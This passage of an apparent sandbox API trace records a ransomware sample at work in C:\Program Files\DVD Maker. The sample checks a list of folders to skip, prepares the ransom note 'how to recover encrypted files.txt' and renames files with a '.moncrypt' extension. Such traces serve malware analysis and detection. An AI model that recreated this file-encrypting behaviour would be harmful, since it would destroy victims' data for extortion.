CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0057.178] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Backup", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㼔Q䱠@册U企@\x18?T\x18\x88")) returned 0xffffffff [0057.178] GetLastError () returned 0x2 [0057.178] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.178] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="backup䙈R ") returned 6 [0057.178] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0057.179] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Reserv", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㼔Q䱠@呤U企@\x18䙌R\x18\x8f")) returned 0xffffffff [0057.179] GetLastError () returned 0x2 [0057.179] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.179] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0057.179] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0057.179] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Restore", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㼔Q䱠@册U企@\x18?T\x18\x97")) returned 0xffffffff [0057.179] GetLastError () returned 0x2 [0057.179] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.179] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="restoreR ") returned 7 [0057.179] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.180] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.180] GlobalUnlock (hMem=0x440004) returned 0 [0057.180] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.180] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.180] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.180] GlobalUnlock (hMem=0x440004) returned 0 [0057.180] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.180] GlobalUnlock (hMem=0x44000c) returned 0 [0057.180] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.180] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.180] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0057.180] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.180] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0057.180] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0057.180] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.180] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.180] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0057.180] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.180] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0057.181] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0057.181] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.181] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.181] GlobalUnlock (hMem=0x44000c) returned 0 [0057.181] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.181] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.181] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.181] GlobalUnlock (hMem=0x44000c) returned 0 [0057.181] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.181] GlobalUnlock (hMem=0x440004) returned 0 [0057.181] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.181] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0057.181] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.181] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0057.181] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.182] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0057.182] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.182] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0057.182] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.182] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0057.182] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.182] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=10, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0057.182] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.182] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0057.182] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.182] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0057.183] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\", cchLength=0x1b | out: lpsz="c:\\program files\\dvd maker\\") returned 0x1b [0057.183] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0057.183] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.183] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.183] GlobalUnlock (hMem=0x440004) returned 0 [0057.183] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.183] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.183] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.183] GlobalUnlock (hMem=0x440004) returned 0 [0057.183] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.183] GlobalUnlock (hMem=0x44000c) returned 0 [0057.183] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\*.*", lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f9f9510, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9f9510, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e180 [0057.183] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f9f9510, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9f9510, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.183] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0057.183] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f448 | out: lpLocalFileTime=0x18f448) returned 1 [0057.183] FileTimeToDosDateTime (in: lpFileTime=0x18f448, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.183] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.183] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.183] GlobalUnlock (hMem=0x44000c) returned 0 [0057.183] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.184] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.184] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.184] GlobalUnlock (hMem=0x44000c) returned 0 [0057.184] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.184] GlobalUnlock (hMem=0x440004) returned 0 [0057.184] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.184] CharLowerBuffW (in: lpsz="audiodepthconverter.ax", cchLength=0x16 | out: lpsz="audiodepthconverter.ax") returned 0x16 [0057.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.185] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.185] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.185] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax", cchWideChar=49, lpMultiByteStr=0x18e3c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax", lpUsedDefaultChar=0x0) returned 49 [0057.185] CharLowerBuffW (in: lpsz=".ax", cchLength=0x3 | out: lpsz=".ax") returned 0x3 [0057.185] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ax", cchWideChar=3, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ax", lpUsedDefaultChar=0x0) returned 3 [0057.185] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\я" (normalized: "c:\\program files\\dvd maker\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0057.185] WriteFile (in: hFile=0x17c, lpBuffer=0x1e61c68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18f3f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61c68*, lpNumberOfBytesWritten=0x18f3f0*=0x1, lpOverlapped=0x0) returned 1 [0057.186] CloseHandle (hObject=0x17c) returned 1 [0057.187] DeleteFileW (lpFileName="C:\\Program Files\\DVD Maker\\я" (normalized: "c:\\program files\\dvd maker\\я")) returned 1 [0057.188] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax", lpFindFileData=0x18f184 | out: lpFindFileData=0x18f184*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 0x54e1c0 [0057.188] FileTimeToLocalFileTime (in: lpFileTime=0x18f198, lpLocalFileTime=0x18f0b0 | out: lpLocalFileTime=0x18f0b0) returned 1 [0057.188] FileTimeToDosDateTime (in: lpFileTime=0x18f0b0, lpFatDate=0x18f166, lpFatTime=0x18f164 | out: lpFatDate=0x18f166, lpFatTime=0x18f164) returned 1 [0057.188] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0057.188] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax", dwFileAttributes=0x20) returned 0 [0057.190] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18e0c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.190] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax.moncrypt" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax.moncrypt")) returned 0 [0057.190] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1 [0057.190] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.190] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.190] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.190] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.190] GlobalUnlock (hMem=0x440004) returned 0 [0057.190] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.190] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.190] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.190] GlobalUnlock (hMem=0x440004) returned 0 [0057.191] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.191] GlobalUnlock (hMem=0x44000c) returned 0 [0057.191] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.191] CharLowerBuffW (in: lpsz="bod_r.TTF", cchLength=0x9 | out: lpsz="bod_r.ttf") returned 0x9 [0057.191] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.191] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.191] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.191] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.191] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 